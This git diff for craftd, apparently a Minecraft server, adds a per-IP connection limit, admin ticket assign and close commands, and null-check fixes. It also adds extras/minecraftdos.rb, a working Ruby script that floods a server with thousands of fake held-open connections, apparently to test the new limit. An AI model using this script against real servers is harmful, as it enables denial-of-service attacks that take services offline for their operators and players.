diff --git a/craftd.conf.dist.in b/craftd.conf.dist.in index f7d862f..227a56d 100644 --- a/craftd.conf.dist.in +++ b/craftd.conf.dist.in @@ -11,7 +11,8 @@ }, "port": 25565, - "backlog": 16 + "backlog": 16, + "simultaneous": 3 }, "workers": 2, diff --git a/extras/minecraftdos.rb b/extras/minecraftdos.rb new file mode 100755 index 0000000..2d1f3ad --- /dev/null +++ b/extras/minecraftdos.rb @@ -0,0 +1,49 @@ +#! /usr/bin/env ruby +require 'socket' +require 'thread' + +HOST, PORT = ARGV.shift.split(':') + [25565] +COUNT = ARGV.shift || 2000 + +sockets = Class.new(Array) { + def initialize (number) + @number = number + end + + def spawn + self.each {|s| + self.delete(s) if s.closed? + } + + to_spawn = @number - self.length + + if to_spawn > 0 + puts "Spawning #{to_spawn} fake connections" + + 1.upto(to_spawn) { + socket = TCPSocket.new(HOST, PORT) + socket.write_nonblock("\x02\xff\xff") + + self << socket + } + end + end +}.new(COUNT) + +thread = Thread.new { + loop do + sockets.each {|socket| + begin + socket.write_nonblock((rand * 255).floor.chr) + rescue Exception => e + socket.close rescue nil + end + } + + begin; sockets.spawn; rescue; break; end + + sleep 0.5 + end +} + +thread.join diff --git a/include/craftd/Config.h b/include/craftd/Config.h index 48edc72..3ec6ce8 100644 --- a/include/craftd/Config.h +++ b/include/craftd/Config.h @@ -44,6 +44,7 @@ typedef struct _CDConfig { uint16_t port; int backlog; + uint8_t simultaneous; } connection; struct { diff --git a/include/craftd/Hash.h b/include/craftd/Hash.h index 838cde3..9ee7c47 100644 --- a/include/craftd/Hash.h +++ b/include/craftd/Hash.h @@ -216,4 +216,7 @@ bool CD_HashStopIterating (CDHash* self, bool stop); \ it = CD_HashNext(it)) +#define CD_HASH_BREAK(self) \ + CD_HashStopIterating(self, false); break + #endif diff --git a/include/craftd/List.h b/include/craftd/List.h index 1b17d82..e134f5f 100644 --- a/include/craftd/List.h +++ b/include/craftd/List.h @@ -231,4 +231,7 @@ bool CD_ListStopIterating (CDList* self, bool stop); \ it = CD_ListNext(it)) +#define CD_LIST_BREAK(self) \ + CD_ListStopIterating(self, false); break + #endif diff --git a/include/craftd/Map.h b/include/craftd/Map.h index 66f559d..14c1ab8 100644 --- a/include/craftd/Map.h +++ b/include/craftd/Map.h @@ -214,4 +214,7 @@ bool CD_MapStopIterating (CDMap* self, bool stop); \ it = CD_MapNext(it)) +#define CD_MAP_BREAK(self) \ + CD_MapStopIterating(self, false); break + #endif diff --git a/include/craftd/Player.h b/include/craftd/Player.h index a45bcd4..c472c5d 100644 --- a/include/craftd/Player.h +++ b/include/craftd/Player.h @@ -43,6 +43,7 @@ typedef enum _CDPlayerStatus { */ typedef struct _CDPlayer { MCEntity entity; + MCFloat yaw; MCFloat pitch; diff --git a/plugins/admin/admin.c b/plugins/admin/admin.c index 96c2cf7..f5f78ba 100644 --- a/plugins/admin/admin.c +++ b/plugins/admin/admin.c @@ -110,7 +110,9 @@ cdadmin_CreateTicket (CDPlayer* requester, CDString* content) void cdadmin_DestroyTicket (CDATicket* self) { - CD_DestroyString(self->content); + if (self->content) { + CD_DestroyString(self->content); + } CD_free(self); } @@ -448,7 +450,8 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command) goto done; } - size_t i = 0; + size_t count = 0; + size_t shown = 0; CD_LIST_FOREACH(_tickets, it) { CDATicket* ticket = (CDATicket*) CD_ListIteratorValue(it); @@ -473,14 +476,30 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command) } } + count++; + if (!show) { continue; } + else { + shown++; + } + + if (ticket->assignee) { + cdadmin_SendResponse(player, CD_CreateStringFromFormat( + MC_COLOR_DARKRED "%d: " MC_COLOR_WHITE "%s (%s)" MC_COLOR_GRAY "> " MC_COLOR_WHITE "%s", + count - 1, CD_StringContent(ticket->requester->username), + CD_StringContent(ticket->assignee->username), CD_StringContent(ticket->content))); + } + else { + cdadmin_SendResponse(player, CD_CreateStringFromFormat( + MC_COLOR_DARKRED "%d: " MC_COLOR_WHITE "%s" MC_COLOR_GRAY "> " MC_COLOR_WHITE "%s", + count - 1, CD_StringContent(ticket->requester->username), CD_StringContent(ticket->content))); + } - cdadmin_SendResponse(player, CD_CreateStringFromFormat( - MC_COLOR_DARKRED "%d: " MC_COLOR_WHITE "%s[%s]" MC_COLOR_GRAY ">" MC_COLOR_WHITE "%s", - i++, CD_StringContent(ticket->requester->username), - CD_StringContent(ticket->assignee->username), CD_StringContent(ticket->content))); + if (shown <= 0) { + cdadmin_SendResponse(player, CD_CreateStringFromCString("No tickets")); + } } goto done; @@ -492,6 +511,55 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command) goto done; } + CD_DO { + CDRegexpMatches* old = matches; + matches = CD_RegexpMatchString("^(\\d+)\\s+(.+)$", CDRegexpNone, old->item[2]); + CD_DestroyRegexpMatches(old); + } + + if (!matches) { + cdadmin_SendUsage(player, CD_ADMIN_TICKET_MODERATOR_ASSIGN_USAGE); + goto done; + } + + CDPlayer* assignee = NULL; + + if (!CD_HashHas(server->players, CD_StringContent(matches->item[2]))) { + cdadmin_SendFailure(player, CD_CreateStringFromFormat("%s isn't connected", + CD_StringContent(matches->item[2]))); + + goto done; + } + else { + assignee = (CDPlayer*) CD_HashGet(server->players, CD_StringContent(matches->item[2])); + + if (!cdadmin_AuthLevelIsEnough(assignee, CDLevelModerator)) { + cdadmin_SendFailure(player, CD_CreateStringFromFormat("%s isn't a moderator", + CD_StringContent(matches->item[2]))); + + goto done; + } + } + + size_t id = atoi(CD_StringContent(matches->item[1])); + size_t current = 0; + + CD_LIST_FOREACH(_tickets, it) { + if (current == id) { + CDATicket* ticket = (CDATicket*) CD_ListIteratorValue(it); + + ticket->assignee = assignee; + ticket->status = CDTicketAssigned; + + CD_LIST_BREAK(_tickets); + } + + current++; + } + + cdadmin_SendSuccess(player, CD_CreateStringFromFormat("Ticket assigned to %s", + CD_StringContent(matches->item[2]))); + goto done; } @@ -501,6 +569,31 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command) goto done; } + size_t id = atoi(CD_StringContent(matches->item[1])); + size_t current = 0; + CDATicket* ticket = NULL; + + CD_LIST_FOREACH(_tickets, it) { + if (current == id) { + ticket = (CDATicket*) CD_ListIteratorValue(it); + + CD_LIST_BREAK(_tickets); + } + + current++; + } + + if (ticket) { + CD_ListDelete(_tickets, (CDPointer) ticket); + cdadmin_DestroyTicket(ticket); + + cdadmin_SendSuccess(player, CD_CreateStringFromFormat("Ticket %d closed", id)); + } + else { + cdadmin_SendFailure(player, CD_CreateStringFromFormat("Ticket %d couldn't be found", + id)); + } + goto done; } } @@ -629,6 +722,17 @@ cdadmin_PlayerLogout (CDServer* server, CDPlayer* player, bool status) { CD_ListDeleteIf(_tickets, (CDPointer) player, (CDListCompareCallback) cdadmin_CompareTicket); + if (cdadmin_AuthLevelIsEnough(player, CDLevelModerator)) { + CD_LIST_FOREACH(_tickets, it) { + CDATicket* ticket = (CDATicket*) CD_ListIteratorValue(it); + + if (ticket->assignee == player) { + ticket->status = CDTicketOpen; + ticket->assignee = NULL; + } + } + } + return true; } diff --git a/src/Config.c b/src/Config.c index 23ad5e6..96c0fa2 100644 --- a/src/Config.c +++ b/src/Config.c @@ -48,8 +48,9 @@ CD_ParseConfig (const char* path) self->cache.daemonize = true; - self->cache.connection.port = 25565; - self->cache.connection.backlog = 16; + self->cache.connection.port = 25565; + self->cache.connection.backlog = 16; + self->cache.connection.simultaneous = 3; self->cache.connection.bind.ipv4.sin_family = AF_INET; self->cache.connection.bind.ipv4.sin_addr.s_addr = INADDR_ANY; @@ -118,8 +119,9 @@ CD_ParseConfig (const char* path) } J_IN(connection, server, "connection") { - J_INT(connection, "port", self->cache.connection.port); - J_INT(connection, "backlog", self->cache.connection.backlog); + J_INT(connection, "port", self->cache.connection.port); + J_INT(connection, "backlog", self->cache.connection.backlog); + J_INT(connection, "simultaneous", self->cache.connection.simultaneous); J_IN(bind, connection, "bind") { J_IF_STRING(bind, "ipv4") { diff --git a/src/Event.c b/src/Event.c index 946352e..8654396 100644 --- a/src/Event.c +++ b/src/Event.c @@ -84,8 +84,7 @@ cd_EventBeforeDispatch (CDServer* self, const char* eventName, ...) } if (!((CDEventCallback*) CD_ListIteratorValue(it))->function(self, eventName, ap)) { - result = CD_ListStopIterating(callbacks, false); - break; + result = CD_LIST_BREAK(callbacks); } } @@ -109,8 +108,7 @@ cd_EventAfterDispatch (CDServer* self, const char* eventName, bool interrupted, } if (!((CDEventCallback*) CD_ListIteratorValue(it))->function(self, eventName, interrupted, ap)) { - result = CD_ListStopIterating(callbacks, false); - break; + result = CD_LIST_BREAK(callbacks); } } diff --git a/src/Player.c b/src/Player.c index 1168f80..54f981c 100644 --- a/src/Player.c +++ b/src/Player.c @@ -63,11 +63,13 @@ CD_DestroyPlayer (CDPlayer* self) { CD_EventDispatch(self->server, "Player.destroy", self); - bufferevent_flush(self->buffers->raw, EV_READ | EV_WRITE, BEV_FINISHED); - bufferevent_disable(self->buffers->raw, EV_READ | EV_WRITE); - bufferevent_free(self->buffers->raw); + if (self->buffers) { + bufferevent_flush(self->buffers->raw, EV_READ | EV_WRITE, BEV_FINISHED); + bufferevent_disable(self->buffers->raw, EV_READ | EV_WRITE); + bufferevent_free(self->buffers->raw); - CD_DestroyBuffers(self->buffers); + CD_DestroyBuffers(self->buffers); + } if (self->username) { CD_DestroyString(self->username); diff --git a/src/Server.c b/src/Server.c index 34bbca8..1b74dbf 100644 --- a/src/Server.c +++ b/src/Server.c @@ -273,14 +273,6 @@ cd_Accept (evutil_socket_t listener, short event, CDServer* self) return; } - if (self->config->cache.game.players.max > 0) { - if (CD_HashLength(self->players) >= self->config->cache.game.players.max) { - close(fd); - SERR(self, "too many clients"); - return; - } - } - if (getpeername(fd, (struct sockaddr*) &storage, &length) < 0) { SERR(self, "could not get peer IP"); close(fd); @@ -301,6 +293,44 @@ cd_Accept (evutil_socket_t listener, short event, CDServer* self) CD_DestroyPlayer(player); } + if (self->config->cache.game.players.max > 0) { + if (CD_HashLength(self->players) >= self->config->cache.game.players.max) { + SERR(self, "too many clients"); + close(fd); + CD_DestroyPlayer(player); + return; + } + } + + if (self->config->cache.connection.simultaneous > 0) { + size_t same = 0; + + CD_MAP_FOREACH(self->entities, it) { + MCEntity* entity = (MCEntity*) CD_MapIteratorValue(it); + + if (entity->type != MCEntityPlayer) { + continue; + } + + CDPlayer* tmp = (CDPlayer*) entity; + + if (CD_CStringIsEqual(tmp->ip, player->ip)) { + same++; + } + + if (same >= self->config->cache.connection.simultaneous) { + CD_MAP_BREAK(self->entities); + } + } + + if (same >= self->config->cache.connection.simultaneous) { + SERR(self, "too many connections from %s", player->ip); + close(fd); + CD_DestroyPlayer(player); + return; + } + } + player->socket = fd; evutil_make_socket_nonblocking(player->socket);